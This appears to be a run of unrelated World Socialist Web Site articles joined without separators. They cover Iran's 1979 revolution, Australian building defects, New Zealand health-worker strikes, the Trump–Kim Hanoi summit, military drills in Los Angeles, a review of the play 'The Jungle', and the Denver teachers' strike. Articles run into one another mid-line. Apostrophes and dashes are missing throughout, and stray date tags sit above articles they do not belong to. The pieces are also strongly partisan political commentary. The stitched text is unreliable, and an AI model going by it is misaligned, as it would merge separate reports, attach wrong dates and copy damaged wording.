However, Washingtons overriding concern and fear in the wake of the toppling of the Peacock Throne was that the anti-imperialist upsurge would culminate in socialist revolution or, as seen through the prism of US Cold War ideology, that the Tudeh Party would come to power. The United States, along with Britain and Francewhere Khomeini, an exile since 1965, had spent the final months prior to the Revolutionsignaled they were ready to work with the Ayatollah and the provisional government he appointed in February 1979.

If relations soon soured, it was because Washington demanded that Tehran entirely subordinate itself to US strategic aims. Not only did this cut across the interests of the dominant faction of the Iranian bourgeoisie for whom Khomeini spoke, but the Ayatollah recognized that any Iranian government seen to kowtow to Washington would come into headlong conflict with the insurgent masses.

Khomeini used the November 1979 American embassy takeover (the hostage crisis) to sideline Mehdi Bazargan, his first choice as prime minister, and other sections of the traditional bourgeois opposition to the Shah, who were anxious to resume a close working relationship with Washington and otherwise demonstrably call the revolution to a halt.

This, however, was only preparatory to the Khomeini regime turning on those whom the ayatollah, his closest supporters now organized in the Islamic Republican Party, and the Iranian bourgeoisie viewed as the principal threatthe working class and the left. With the support of the Stalinists of the Tudeh Partyuntil they too were targetedIrans revolutionary government repressed with increasing violence and vehemence all forms of working class self-expression and left-wing criticism on the grounds that there were undermining national unity and strengthening imperialism.

The Khomeini regime would similarly use the eight-year-long Iran-Iraq War, in which an estimated 1 million Iranians and up to half a million Iraqis died, as the pretext for sweeping repression and as a mechanism to expend in a reactionary war the revolutionary aspirations and energy galvanized by the anti-imperialist upsurge that overthrew the Shah.

Rapprochement with imperialism and pro-market reform

Shortly before his death and under conditions where Washington was threatening to use the Iran-Iraq War as a pretext to attack the Islamic Republic, Khomeini ordered an abrupt change of course. The Islamic Republic abandoned its demand for predatory war reparations from Iraq and reoriented toward seeking a rapprochement with imperialism. Under Khomeinis designated successors, Supreme Leader Ayatollah Khamenei and President Rafsanjani, Iran moved quickly to impose IMF structural adjustment policies, including privatization, deregulation and social spending cuts, with the express aim of renewing close economic ties with European, and if possible, US capital.

Since 1989 and under presidents supported by all the main factions of the political elite of the Islamic Republic, from conservative and Principlist to reformist, Irans government has, in the name of pro-market reform, systematically dismantled the social concessions made to the working class and rural and urban poor at the revolutions height. This is true of the governments led by the populist Mahmoud Ahmadinejad no less than those of Rafsanjani, the reformer Khatami and Hasan Rouhani, the avid neoliberal who has been Irans president since 2013.

Today, Iran is marked by rampant and growing social inequality, mass joblessness and precarious contract jobs.

Similarly, on the world stage, the Islamic Republics clerical-bourgeois regime has for the past three decades pursued an accommodation with the imperialist powers. This very much includes American imperialism, notwithstanding Washingtons repeated rejection of Tehrans overtures and near-relentless hostility, including war threats from every president dating back to Jimmy Carter.

In 2001, Iran provided logistical and political support to the US invasion of Afghanistan and Washingtons installation of Hamid Karzai as the countrys puppet president. As the US prepared to invade Iraq in 2003, Iran initiated secret talks with the Bush administration. Soon after American troops occupied Baghdad, Tehran offered to subordinate itself to US strategic interests across the board, including by recognizing Israel, cutting off all aid to Hamas and pressing Hezbollah to disarm if the US would only pledge to forego regime-change.

Obama imposed brutal economic sanctions on Iran and repeatedly threatened it with attack. Then in 2015-2016 he opted to strike the first significant US-Iranian diplomatic deal since the 1979 revolution, agreeing to curb US sanctions on Tehran in exchange for its dismantling of much of its civil nuclear program.

As the World Socialist Web Site explained at the time, two predatory calculations lay behind Obamas shift: an all-out confrontation with Tehran would cut across Washingtons military-strategic offensives against its more substantial adversaries, Russia and China; and the reopening of Iran to European and US investment would provide new opportunities to leverage the fissures within Irans clerical-bourgeois elite, including the sizable faction eager for a partnership with Washington, so as to turn or flip Iran into becoming a subordinate US ally.

The WSWS also warned that the Iran nuclear accord was not worth the paper it was printed on: Washington would break it as soon as it felt doing so to be advantageous.

Trump has, of course, done precisely that, imposingin an act of aggression tantamount to wara unilateral global embargo on trade with Iran with the express aim of crashing its economy.

Meanwhile, the Iranian working class has served notice that it is determined to put an end to years of austerity. Nor will it accept the ruling elites never-ending efforts to make it bear, and bear alone, the full burden of Washingtons predations against Iran.

Recent years have seen a wave of worker protests and strikes against privatization, low and unpaid wages, job cuts and dilapidated public services. 2018 began with mass protests against poverty and social inequality, some violent, led by unemployed youth in regional towns and cities that had long provided the regime with an important part of its popular base. Tehrans response was brutal repression and a torrent of slanders aimed at blackguarding the protests as a foreign-instigated regime-change operation.

Nevertheless, social opposition has continued to mount, with teachers, truck drivers, miners, steelworkers and other sections of the working class mounting strikes over the past year in the face of arrests and police violence. In an indication of the regimes fear of the mounting protests, last month Irans state television broadcast the violence-coerced confessions of activists involved in the longstanding strike of 4,000 workers at the Haft Tapeh sugarcane complex, in which they were induced to say that they have been working at the behest of foreign communists.

Manifestly, under conditions of capitalist breakdown and the consequent surge in imperialist aggression, the room for the Iranian bourgeoisie to balance and maneuver between imperialism and the working class is rapidly diminishing, raising the crisis of the Islamic Republic to a qualitatively new level.

Workers in the United States and around the world must vigorously oppose Washingtons economic war and preparations for a military assault on Iran. Opposition to imperialist aggression against Iran does not require, however, lending an iota of political support to the Iranian bourgeoisie and its Islamic republic, let alone apologizing for them. On the contrary, the only viable foundation for opposition to imperialism in Iran and around the world is the working class.

The critical question is to arm the growing movement of the Iranian working class with the Trotskyist strategy of permanent revolution: to orientate toward and politically prepare the mobilization of the working class in the fight for workers power and to unite the workers and oppressed toilers of the Middle EastIranian, Arab, Kurdish, Turkish and Jewishwith the growing movement of the working class in Europe and North America against imperialism and war.

The Iranian working class must draw the bitter lessons of the 1979 Revolution. In countries historically oppressed by imperialism, none of the burning social problems of the massesfrom genuine independence to the separation of church from state, the establishment of genuine equality among all nationalities and freedom from communal discrimination, to the securing of social rights and social equality for allcan be resolved apart from the working class constituting itself as an independent political force, in opposition to imperialism and all factions of the bourgeoisie, and rallying the toilers behind it in the fight for a socialist workers republic.An Australian property analyst has warned that the poor quality of residential property construction could turn some buildings into slum-like dwellings in 20 years.

Housing and banking analyst Martin North told Channel Nines 60 Minutes program last week: We have so many properties across Australia which are being thrown up, or have been thrown up, with significant defects in them. He said this could result in a generation of properties that frankly could become slums in 20 or 30 years.

Norths warning followed a fire at Melbournes NEO200 apartment building involving flammable cladding, and ongoing concerns over the safety of Opal Tower, in the Sydney suburb of Homebush.

Opal Tower residents were forced to evacuate for over a month after cracks in concrete, panels and supporting beams were discovered on December 24. More than half of the residents have still not returned to the building, even though the construction company has stopped paying their hotel bills.

The exposures of shoddy construction coincide with signs of a rapid slowdown of the debt-fuelled property boom.

North warned that house prices would fall from their 2017 peak by 20 to 30 percent and by up to 40 percent if there were significant international shocks.

Price decreases over the past year have already pushed around 10 percent of households into negative equity, meaning that they owe more on their mortgages than their properties are worth.

The Domain property website reported in October last year that around 386,000 households across the country were in negative equity. On 60 Minutes, North estimated the figure to now be as high as 450,000.

There has already been a significant fall off in sales amid price declines and a tightening of lending by the major banks.

Andrew Leoncelli, the managing director for residential projects at property firm CBRE, told 60 Minutes: We will be 75 percent down on the total number of apartments sold in 2019, as compared to 2015, so its a major reduction in volume.

The 60 Minutes program reflected growing fears in corporate circles that the billions of dollars in loans the banks have on their books are backed by worthless assets. The financial elite is determined that homeowners and mortgage-holders be compelled to pay for poor construction standards over the past period.

The Opal Tower crisis has pointed to the role of governments in fuelling the property and construction boom, with no concern for the safety of ordinary people.

The buildings plan was categorised as a state-significant development, meaning it could bypass the normal building approval process. The New South Wales (NSW) government effectively subsidised the building. According to the Sydney Morning Herald, it still owns 43 apartments in the tower.

The state Liberal government also retains ownership of the land the building sits on and may be deemed a developer under the Home Building Act. Since this was revealed in the press, government officials have stopped encouraging home owners to take legal action. Residents are in negotiations with a number of legal firms about launching a class action.

Successive Labor and Liberal-National governments at every level have been warned of dangerous construction standards.

In February 2018, the Building Ministers Forum, which brought together representatives of state governments across the country, received the Shergold and Weir report which concluded that the nature and extent of the problems in the construction sector were significant and concerning.

Three years earlier, in 2015, the Lambert Report issued the NSW government with 150 recommendations on building safety and construction practices. Only those relating to fire safety were acted on.

Last Friday, a meeting of the Building Ministers Forum in Hobart declared that it would issue a response to the 2018 report by the end of February.

The communique stated that Ministers agreed in principle to a national ban on the unsafe use of combustible ACPs [Aluminium Composite Panels used as cladding], in new construction. The document added, however, that this would be subject to a cost/benefit analysis being undertaken on the proposed ban including impacts on the supply chain, potential impacts on the building industry, any unintended consequences, and a proposed timeline for implementation.

In other words, despite its role in numerous fires, governments may allow the continued use of ACP cladding to ensure maximum profits in the industry.

The NSW Fair Trading Minister Matt Kean also announced the appointment of a Building Commissioner who would be responsible for licensing and auditing engineers, architects, certifiers and other practitioners and introducing new consumer protections. There was no mention, however, of an investigation into existing buildings.

Michael Lambert, the former NSW Treasury Secretary and author of the 2015 report, told 60 Minutes: My gravest fear is that there will be fatalities because of defects in buildings. And the most likely area for fatalities is in fire safety, with non-functioning fire safety warnings or sprinkler systems. And that is a fundamental risk because we still haven't got in place an effective fire safety certification and accreditation scheme.

The fire at NEO200 makes clear that Lamberts concerns are well founded. In June 2017, 72 people lost their lives in a blaze at Londons Grenfell Tower as a result of similar cladding.

The Lambert Report was commissioned following a non-fatal cladding fire at the Lacrosse building in Melbourne in November 2014. The Australian reported in January that firefighting agencies in Australia have a hit list of up to 10,000 buildings in Australia with suspected flammable cladding.

The record demonstrates that governments and the corporate and financial elite have subordinated the safety of renters, homeowners and mortgage-holders to the frenzied accumulation of profit during the housing and construction boom.

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[27 June 2017]Around 3,300 junior doctors from New Zealand's public hospitals walked off the job for 48 hours on Tuesday to oppose attacks on working conditions. It was their third strike this year, following two stoppages last month, and is part of the broad resurgence of class struggles by workers around the world.

The doctors union, the Resident Doctors Association (RDA), this week confirmed that members voted for a fourth two-day strike on February 26-27, after negotiations with the 20 District Health Boards (DHB) for a new collective agreement broke down.

The DHBs want to extend the number of consecutive days that doctors can be rostered to work from 10 to 12. They also want the power to force doctors to work shifts longer than 16 hours and to relocate them anywhere in the country. Doctors already work under trying conditions. Long hours, including 30-hour working weekends, leave them exhausted, putting patients and their own safety at risk.

RDA spokesman David Munro said union members had been overwhelmingly consistent in voting for industrial action, and called on DHBs to accept that we will not give up essential clauses in our contract that safeguard our members.

About 1,000 hospital midwives are simultaneously holding a series of 12-hour rolling stoppages around the country this week over stalled pay talks with the DHBs, which began 18 months ago. On Monday midwives struck and held rallies in Whangarei, Northland and Auckland. The stoppages will conclude with a march to parliament in Wellington on Thursday.

The strikes follow a series of stoppages last November called by the Midwifery Employee Representation and Advisory Service (MERAS). Midwives are seeking a better offer than that imposed last year on 30,000 nurses and healthcare assistants. The sellout deal by the NZ Nurses Organisation (NZNO) included a rise of just 3 percent per annum over three years, essentially a freeze in real wages.

MERAS proposed lifting the starting salary for midwives from $49,450 to $56,788, equivalent to the second step of the nurses pay scale. According to MERAS, midwives have a high level of responsibility, study for a four-year equivalent direct-entry degree, and their practice includes high-level, clinical decision-making.

MERAS industrial officer Jill Ovens told the media the DHBs had put a proposal that addressed our key issues during a facilitation meeting on February 1, but gave no further details. She said if the proposal is confirmed as a formal offer, MERAS will recommend it to members for ratification.

The Resident Doctors Association is meanwhile working to reach its own settlement with the DHBs before doctors are pushed onto individual contracts when their current agreement expires later this month. Talks are set to resume on Friday.

The RDA is not fighting to improve pay and conditions but is focused on retaining the status quo for doctors. The union has signalled it is willing to alter existing safer hours provisions to allow more flexible rostering. It has invited the DHBs and the senior doctors union, the Association of Salaried Medical Specialists, to discuss ways to address unintended consequences of changes designed to make rosters safer following strikes in 2016-17.

While health workers enjoy overwhelming public support, they are confronted with trade unions working to isolate them, suppress strike action and prevent a coordinated political and industrial movement of the working class against the Labour-led government.

The NZNO sellout of the nurses struggle set the pattern. The union deliberately dragged out the dispute to wear down the nurses and echoed the governments lie that there was no more money. Union leaders called off one strike and presented one rejected offer after another, ignoring widespread demands for an 18-20 percent pay increase and mandated staff-to-patient ratios.

The RDA, MERAS and other healthcare unions kept the respective struggles separate from each other and from other layers of workers facing similar attacks. Ovens told Radio NZ on December 14 that MERAS had been asked by the DHBs to wait until the nurses settled before negotiating their pay deal. The union agreed and was then offered the same deal the NZNO had accepted.

The NZNO has organized no support from nurses for doctors and midwives, and the Council of Trade Unions has maintained near total silence on the disputes. The turnout for the doctors pickets this week has been significantly less than in the previous two strikes.

The countrys largest union, the Public Service Association (PSA), which covers administration staff in the DHBs, actively undermined the doctors struggle by helping to establish a rival union, the 500-member Specialty Trainees of NZ (STONZ), which last year agreed to the DHBs clawbacks.

All health workers face the same political struggle against the Labour-led coalition government, which is imposing the austerity agenda demanded by big business.

A genuine fight by workers to defend their rights requires a rebellion against the corporatist trade unions, which defend the government.

The Socialist Equality Group (NZ) calls for the formation of new organisations of struggle, including independent rank-and-file committees. These would coordinate joint industrial and political action by workers throughout the health sector and more broadly, in opposition to the entire political establishment.

Workers cannot be restricted by what the Labour government claims it is able to afford. Their demands must be informed by a new political program: the fight for a workers' government and socialist policies.

The WSWS interviewed doctors picketing outside Wellington Hospital on Tuesday.

Will, a doctor at the Hutt Valley Hospital, near Wellington, said: The main issues for us are retaining our union protections. Currently any major changes to our job descriptions and the way we work have to gain the approval of our union. In an example of institutional bullying, the DHBs want to unilaterally remove any protections that we have.

Will explained that DHBs opposed safe working hours. The situation in different hospitals varies, but all doctors want to move to a situation where they are working as few days in a row as are safe.

Asked about a fourth strike, Will said that its important that we retain our conditions and we will keep striking until that happens. He said it was disappointing to not see the CTU and the PSA supporting the strike and noted that the rival union (STONZ) had accepted a lot of clawbacks.

Will said he was generally positive about the Labour government, but then added: There is always more money to be spent on health. Given their pro-union rhetoric leading up to the election, I would be quite happy if they put their money where their mouth was.

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[9 January 2019]The dates and place for a second summit between US President Trump and North Korean leader Kim Jong-un have been set following the visit last week to Pyongyang by US special representative for North Korea Stephen Biegun. The summit is due to take place on February 27-28 in Hanoi, Vietnam.

For Trump, a great deal hinges on the meeting amid ongoing criticism in ruling circles in Washington over the lack of significant progress towards North Korea abandoning its nuclear weapons and facilities, following the first summit in Singapore last June. The US president lauded the outcome of that meeting although the joint statement amounted to nothing more than a general agreement to denuclearise the Korean Peninsula.

Trump was effusive about the prospects, tweeting that he was looking forward to seeing Chairman Kim & advancing the cause of peace! In a subsequent tweet on Friday, he held out the prospect of transforming North Korea economically if a deal could be reached at the summit.

North Korea, under the leadership of Kim Jong-un, will become a great economic powerhouse. He may surprise some but he wont surprise me, because I have gotten to know him & fully understand how capable he is. North Korea will become a different kind of rocketan economic one! Trump declared.

Trump is undoubtedly holding out the possibility of ending decades of diplomatic and economic isolation of North Korea to encourage Kim to make significant steps towards denuclearisation. However, the tweet also suggests that Trump is seeking to entice North Korea into closer diplomatic and economic ties with the US and distancing itself from its ally China.

The Hanoi summit takes place on the eve of Trumps deadline for a deal with Beijing to avert the implementation of harsher trade war measures on China. Trumps economic warfare is part of his broader confrontation with China, including naval provocations near Chinese islets in the South China Sea and a broader military build-up throughout the Indo-Pacific region. Encouraging North Korea out of Chinas orbit is part of US efforts to isolate Beijing diplomatically.

There are, however, major obstacles to a deal at the Hanoi summit. Pyongyang remains understandably cautious about giving up its nuclear arsenal, which it regards as its only protection against a US-backed regime change operation or invasion of the country. Kim is well aware of the fate of the leaders of Iraq and Libya who bowed to demands to give up their so-called weapons of mass destruction only to be ousted and killed.

North Korea has repeatedly called for steps towards a peace treaty with the US to formally end the 1950-53 Korean War that concluded only with an armistice to halt fighting. Washington has so far refused to make such a concession. While North Korea has halted all weapons testing, the US, in return, only suspended major war games with South Korea.

US special representative Stephen Biegun held talks last week with his North Korean counterpart Kim Hyok-chol, to establish the agenda for the Trump-Kim summit. A US State Department statement said that the two had discussed advancing Trump and Kims Singapore summit commitments of complete denuclearisation, transforming US-DPRK relations, and building a lasting peace on the Korean Peninsula.

Biegun told a visiting South Korean delegation in Washington yesterday that he had reached a basic framework of agreement with North Korea but that negotiations will take time. While the discussions had been constructive and productive, he declared, the punitive sanctions regime on North Korea had to remain in place until final, fully verified denuclearization was achieved.

Biegun added that differences remained and that he planned to hold another meeting with North Koreas special representative prior to the Hanoi summit in a bid to resolve outstanding disagreements. Pyongyang has insisted on a step-by-step reduction in sanctions, rather than their removal only after it has completely given up its nuclear weapons.

Trumps critics have repeatedly pointed to signs that North Korea has continued its nuclear and missile programs as proof of bad faith. However, the first summit in Singapore did not lay out a detailed plan for denuclearisation, nor did it bind the North Korean regime to completely abandon the production of weapons. Pyongyang is acutely aware that two previous denuclearisation agreements in 1994 and 2007 were effectively sabotaged by Washington.

Moreover, while suspending its joint exercises with South Korea, the US has never taken the military option to attack North Korea off the table. Less than two years ago, Trump was threatening to completely destroy North Korea if it did not meet a US demand to give up its nuclear arsenal.

Speaking at a hearing of the Senate Armed Services Committee yesterday, General Robert Abrams, commander of US Forces Korea, said that while a second Trump-Kim summit was positive, North Korea remained a potent threat.

I remain clear-eyed about the fact that despite a reduction in tensions along the DMZ and a cessation of strategic provocations coupled with public statements of intent to denuclearize, little to no verifiable change has occurred in North Korea's military capabilities, he said.

It was necessary for the US military to maintain a postured and ready force to deter any possible aggressive actions, Abrams declared, making clear that the US has no intention of removing its 28,500 military personnel from South Korea. In fact, the US has just bullied South Korea into agreeing to a new basing agreement that will cost Seoul $890 million for 2019.

The real threat of war comes not from North Korea, but from the US. If a deal is struck with North Korea, it will not enhance the prospects of peace, but will rather accelerate the US war drive against China. US imperialism is determined to prevent China becoming a threat to its ambitions for global domination, by any means, including a potentially catastrophic war between nuclear-armed powers.Six days of military exercises concluded in Los Angeles on Saturday with action in the latter half of the week centered on the ports of Los Angeles and Long Beach. The US militarys latest urban training drill began last Monday with residents given virtually no advanced warning of low-flying helicopters and loud explosions.

The official explanation given by the military, with the full support of the police and the political establishment, was that the local terrain and training facilities in Los Angeles provide the Army with unique locations and simulate urban environments the service members may encounter when deployed overseas.

The US military already has several MOUT, or Military Operations in Urban Terrain facilities, which are large-scale replicas of entire city blocks to simulate such environments. One of these facilities is on the Channel Islands not far from the California coast. Why, then, is the army using a fully populated city environment, the second largest city in the US no less, to conduct such exercises, when adequate training facilities are already available for such a purpose?

For that matter, even if these facilities were not adequate, why is the military allowed to conduct training drills while in the middle of millions of untrained, and for that matter, shocked and surprised civilians in the first place? The potential for injury and loss of life, accidental or otherwise, is enormous. Nonetheless the Los Angeles exercises last week were only the latest in a seemingly never-ending series of domestic military exercises carried out in the wake of the September 11 terror attacks.

These drills have taken place in nearly every large city in the United States, including Boston, Chicago, New York, Houston, San Antonio, Seattle and of course Los Angeles. The drills, although widely opposed by the working class, have elicited virtually no comment at all from leading Democratic Party politicians, including left figureheads such as Senators Elizabeth Warren and Bernie Sanders and Rep. Alexandria Ocasio-Cortez.

After carrying out initial drills downtown, the activity in Los Angeles shifted to the ports of Los Angeles and Long Beach in the middle of the week. The area is of immense strategic significance for US economy. Together, the two ports process more than a third of all cargo coming into the country and support employment for more than 800,000 people.

Pictures and video revealed the presence of a small fleet of MH-6 Little Bird and MH-60 Blackhawk helicopters flying in low formation with their lights off in and around the ports. These helicopters are known to be used heavily by the 160th Special Aviation Regiment known as the Night Stalkers, which has been in operation since the 1970s. It was involved in operations in Grenada, Nicaragua, Panama and at various US imperialist incursions over the past few decades.

Civilian military observers also made note of troop equipment and uniforms consistent with the infamous Seal Team Six, responsible for the assassination of Osama bin Laden. It has been confirmed that the troops involved landed near and staged a mock infiltration of the eight-story Port of Long Beach administration building.

The exercises at the ports also included the involvement of the US Navys P-8 Poseidon aerial surveillance plane as well as two Air Force U-28s that are designed for the same purpose.

While the military has not and will not explain why it is conducting nighttime drills at major American ports, there can be no doubt that this is part of overall plans to quickly allow US imperialism to gain control of strategic commercial chokepoints, whether they be at home or abroad.

The military intelligence apparatus is also no doubt extremely concerned about the national security implications of the latest government shutdown. The ports of Los Angeles and Long Beach are heavily monitored by the Department of Homeland Security (DHS), while the waterfront itself is patrolled by the US Coast Guard. Both the DHS and Coast Guard worked without pay throughout the more than 30 days of the shutdown.

Thousands of dockworkers are also becoming extremely hostile to the actions of the International Longshore and Warehouse Union (ILWU), which has done everything in its power to prevent a strike of dockworkers that could quickly grind the US economy to a halt. Moreover, such an action could quickly spread to truckers and oil workers, who have been isolated by the Teamsters and United Steelworkers, respectively. Even a small work slowdown at the ports in 2015 led to calls in US Congress for then-president Barack Obama to invoke the Taft-Hartley law in order to mobilize the National Guard against the dockworkers to keep the ports operating as normal.

Finally, the latest military exercises come as the Trump administration and the European powers are seeking to carry out a right-wing coup in Venezuela. The sudden seizure of Venezuelan ports would a form a critical part of any overt military action by the United States and its allies. Venezuela has the largest proven oil reserves of any nation on earth.St. Anns Warehouse gave its final performance of the play The Jungle in Brooklyn, New York, on January 27. Originally written for and performed at the Young Vic in London, The Jungle has received positive reviews. When the announcement appeared in July for the upcoming New York production, tickets for the eight-week run at the off-Broadway theater sold out quickly.

The interest around The Jungle stemmed from its unique story, about the refugee camp (known as the Jungle) built in 2015 in the port city of Calais, France, and destroyed the next year by French authorities. Calais has been a destination for refugees since the 1990s when the Channel Tunnel connecting Britain and France was constructed. There have been many refugee camps near the tunnel entrance in France over the decades, successively destroyed by police raids.

Being the only fixed link between Britain and continental Europe, the tunnel provides transport to millions of travelers and millions of tons of freight via trucks annually. Videos of hundreds of young men trying to board these vehicles were circulated in 2014, provoking anti-immigrant hysteria from the British and French media.

The refugee camp was a makeshift settlement in the hills outside Calais, and was named the Jungle by the refugees because of the outstanding diversity of and coexistence among the residents, and because of the primitive conditions prevailing there. Up to 10,000 refugees, fleeing war, violence and economic devastation in some two dozen countries, including Pakistan, Afghanistan, Syria, Somalia and Nigeria, lived in the camp at its peak.

The wave of migration that brought masses of people to Calais in recent years began after the NATO bombing of Libya and the beginning of the Syrian civil war, both in 2011. The first refugees in the Jungle treated in the play began settling in Calais in late 2014, with construction of the camp generally dated to 2015. French riot police burned down the camp and cleared it in October 2016, as part of the governments repressive policies in the aftermath of the November 13, 2015 terrorist attacks in Paris.

Playwrights Joe Murphy and Joe Robertson wrote The Jungle out of their experiences as volunteers at the camp for seven months in 2016. During this period, the two Englishmen helped found the Good Chance Theater, built out of tent materials and tarp, to stage plays and be an artistic and social center at the camp. It was here that the playwrights met three future members of the cast of The Jungle: Syrian-born Ammar Haj Ahmad, an actor from Aleppo; Iranian-born guitarist Morin Ghobsheh; and Yasin Morado, a martial artist who used to be on the Iranian national team.

The play opens with a clamor as the refugees and volunteers anxiously alert one another to the fact that one of their own has been hit by a car on the highway beside the camp. Amid the chaos, they discover that it is a young boy whom the Afghan men recognize, causing them to lament. A Syrian man, Sala (Ahmad), stands up on the crowded stage and asks aloud, When does a place become a home? voicing his experience of having the city he grew up in destroyed.

The Jungle sets up a temporary society in turmoil, where thousands of refugees live in tents practically on top of each other, with dozens of unaccompanied minors, a lack of clean water and waste disposal, very few humanitarian volunteers, and confronting French and British governments that want to expel them.

For the recent production, St. Anns Warehouses main stage was converted into an Afghan restaurant, with seating and walls that resembled an eating place in the refugee camp. There was no single stage, but rather connected dinner tables that removed the fourth wall, allowing the actors to move among audience members and into every corner of the theater. The restaurant, where all sorts of social events are held, from public assemblies and funerals to New Years Eve celebrations and birthday parties, created an appropriate setting for the drama. The audiences seating was divided not into traditional sections, but into groups of nations from which refugee-actors could stand up and speak for their tribe.

The diverse ensemble of 18 actors play characters whose cultural or national differences are sometimes played up to comic effect. No character is one-dimensional and everyone has a slightly different goal in mind for his or her future. Throughout the piece, forest fires, police raids and deaths send the cast into panic, with each character debating whether to attempt to sneak through the Channel Tunnel or to stay and work to make the Jungle more habitable.

All of these plot points draw from reality at the camp, and a central conflict among the characters is how their small society should be organized. In particular, some want to put up resistance to the French authorities along divisions of ethnic or national lines while others call for unity, with representatives of all the nationalities to come together, have meetings, as Sala says.

Murphy, Robertson and the cast, directed by Stephen Daldry and Justin Martin, dive head-first into one of the largest social crises facing humanity in a manner that is self-aware and somewhat testing for the audience. This is brought out in the emotions and energy demanded of the entire cast, whether they play middle-class, English-born volunteers, who are trying to deal with their countrys xenophobic immigration policies, or refugees of civil war in Sudan or Afghanistan, who no longer even have homes.

Every actor seems fully committed to his or her part, and not a moment is wasted on stage. The three members of the cast and the two playwrights who lived in the Jungle camp were successful in adding gravitas to the production.

Throughout the play, there is a dialogue between the refugees and the volunteers on the ability of the latter to fully understand the horrific experiences the refugees have been through.

In one of the most moving moments, Sala, the leader of the Syrian group, tells a 17-year-old Sudanese boy that he can begin to overcome his trauma if he relates his terrible story to one of the English volunteers.

In another, somewhat contrived but expressive moment, every refugee lines up in front of the audience and explains how they all shared many experiences in common, including dying multiple times on their journey. The Sudanese boy died when he watched his home burn, died when he hitched a ride across the Sahara desert, died again when he was tortured in a Libyan prison and died one last time when he crossed the Mediterranean Sea in an overcrowded, sinking vessel.

The tragedy that concludes The Jungle is that the struggle of all the characters, representing thousands of refugees, to maintain peace and unity is swept aside by bulldozers and riot police on October 24, 2016. Ahmad, the native of Aleppo, reflects on this moment, where once again a place that he had made home for himself and others is destroyed and he is forced to flee.

The timing of this production in New York coincided with a major refugee crisis on the US border. An American version of The Jungle could easily be written about the migrant caravan that traveled through Mexico in October 2018 and ended at the border-town of Tijuana. The curators at St. Anns Warehouse were aware of this. In the event halls outside the theater, there was a photojournalistic showcase of migrants journeys around the world, with images of migrants in warehouses in Sarajevo and others crossing a river in Tijuana.

The Jungle camp in Calais had it origins in the devastation of Middle Eastern, Central Asian and African countries in US- and NATO-led wars. The context in which this play was performedat the Young Vic in Central London and now in Brooklyn, New Yorkwas shaped by the events of the past two decades. The production would not hold the same weight for the audiences and critics of both countries were it not for the role of British and American imperialism in creating the conditions that led to Calais, and the current global refugee crisis more generally. It hardly needs to be said that The Jungle holds particular significance for residents of New York City, where there are over a quarter-million undocumented immigrants among the millions of other immigrants.

In an interview with Broadway World, Murphy and Robertson explained their starting point: We tried to tell the story of the creation of that society. The decisions that lead people who live there to try to create a structure in peace. The story of that came about and flourished into a place where there were churches, mosques, restaurants, cafes, how the community in that space dealt with big problems and challenges.

Then, ultimately, the destruction of that society by the authorities. And in the process you find out many of the stories that we encounteredmany of the people, the experiences that were reflected into it.

In 2019, the global refugee crisis is no closer to being resolved than it was in October 2016. The divisions of the masses of refugees are still the same: linguistic barriers, cultural and religious differences, and differences in the type of refuge they seek. Yet, the Jungle camp shows a specific example of the ability of such diverse groups to work together when their struggles for survival are consciously connected. The Jungle is a profound production because of the hopeful attitude of its characters, and shows that playwrights and artists dont need to stray from reality to find stories that encapsulate the best and worst parts of humanity.Teachers in Denver, Colorado are continuing their strike over low pay and underfunding of the school system. According to the union, 3,800 of the districts 4,725 teachers are participating in the strike, which is the latest in a series of teacher walkouts extending across the United States since the spring of 2018.

Denver Public Schools (DPS), which serves 92,000 students and operates 207 schools, is attempting to keep the district running by putting administrators and substitute teachers in the classrooms. There is widespread support among students and parents for the DPS employees, who work in a state that ranks among the last in the nation in terms of teacher pay and live in a city where the median home price of $421,000 is double the national average.

Negotiations between DPS and the Denver Classroom Teachers Association (DCTA) resumed on Tuesday. DPS officials say their proposal to raise starting salaries to $45,500 from their current level of $43,255 is contingent on slashing other district jobs. School Superintendent Susana Cordova says 150 jobs would have to be eliminated from the districts central office and has claimed that no support staff and janitors will be affected. Not only are such promises dubious, but the cutting of central office staff has often been the prelude to the restructuring of school districts and the expansion of charter schools and other school privatization schemes.

The DCTA, which was forced to call the strike because of overwhelming anger among teachers, is reportedly requesting a miserly $300 in additional baseline compensation. The union, which kept teachers in the schools for 15 months after the expiration of their contract, is looking to end the walkout as quickly as possible.

Teachers in Denver are fighting powerful corporate and political forces, which have long promoted merit pay and other attacks on teachers and public education. That is why they must not fight this struggle alone. The WSWS Teacher Newsletter urges teachers to elect rank-and-file strike committees at every school and in every neighborhood to mobilize the broadest support in the working class to back the teachers and to fight for the expansion of the strike throughout Colorado and beyond.

The control of the strike must be taken out of the hands of the DCTA, which is allied with the very same Democratic Party politicians who claim that there is no money for improved wages and school funding, and who have spearheaded the attack on teachers and public education.

In Colorado, the central role in axing social spending and making the state one of the nations most attractive for the wealthy has been played by the Democratic Party. With the exception of a two-term period from the late 1990s to the mid-2000s, Democrats have controlled the governorship since 1974. Per pupil funding in Colorado for K-12 education is $2,000 below the national average and places the state among the bottom third of all states for school financing.

Small increases in budget allocations for public education in recent years have been far outstripped by increasing numbers of students, declining local funding and growing costs facing schools. The state does not even provide a free full-day kindergarten education. Families are charged tuition based on a sliding scale, with the maximum rate being upwards of $2,500 for the school year. Colorados current governor, Democrat Jared Polis, is a founder and advocate of charter schools. In May, the states previous Democratic governor signed into law a massive attack on the pensions of teachers and other public sector workers.

At the center of teachers demands is the overturning of Denvers merit pay system, ProComp. The incentive-based compensation program was designed and implemented in the mid-2000s as a joint initiative of the DPS and the union. As a substitute for raising teachers base pay, the DPS and DCTA developed ProComp to award bonuses on the basis of student test scores, teacher evaluations, subject matter taught, the high priority character of the student population, labor market demands and a variety of other metrics.

The merit standards are so complex and change so much that educators say they cannot predict their monthly, much less annual, income. The scheme is also used on school psychologists, counselors, librarians and other staff.

Abbie Ashby, a first-year math teacher, told the World Socialist Web Site: Im striking because the bonuses we receive disrupt our classrooms. I work in a high priority [high poverty] classroom, so despite the incentives, our middle school students only kept two of their teachers last year. My 8th grade students had so many math teachers last year.

Since the incentives are unreliable, many teachers have taken significant pay cuts from year to year. Some teachers tell me they make less now than two years ago. I have no idea what my paycheck will be. As I told my students, from month to month I have to choose between buying snacks or school supplies for them in the classroom, or things for myself, like hygiene products. Id like to be able to afford both things for my students and for myself.

The merit-based pay system was billed as a means to boost teacher retention and student performance. It has achieved neither of these. The achievement gap between poor and better-off students is one of the largest in the country, exceeded only by Washington, DC and Atlanta.

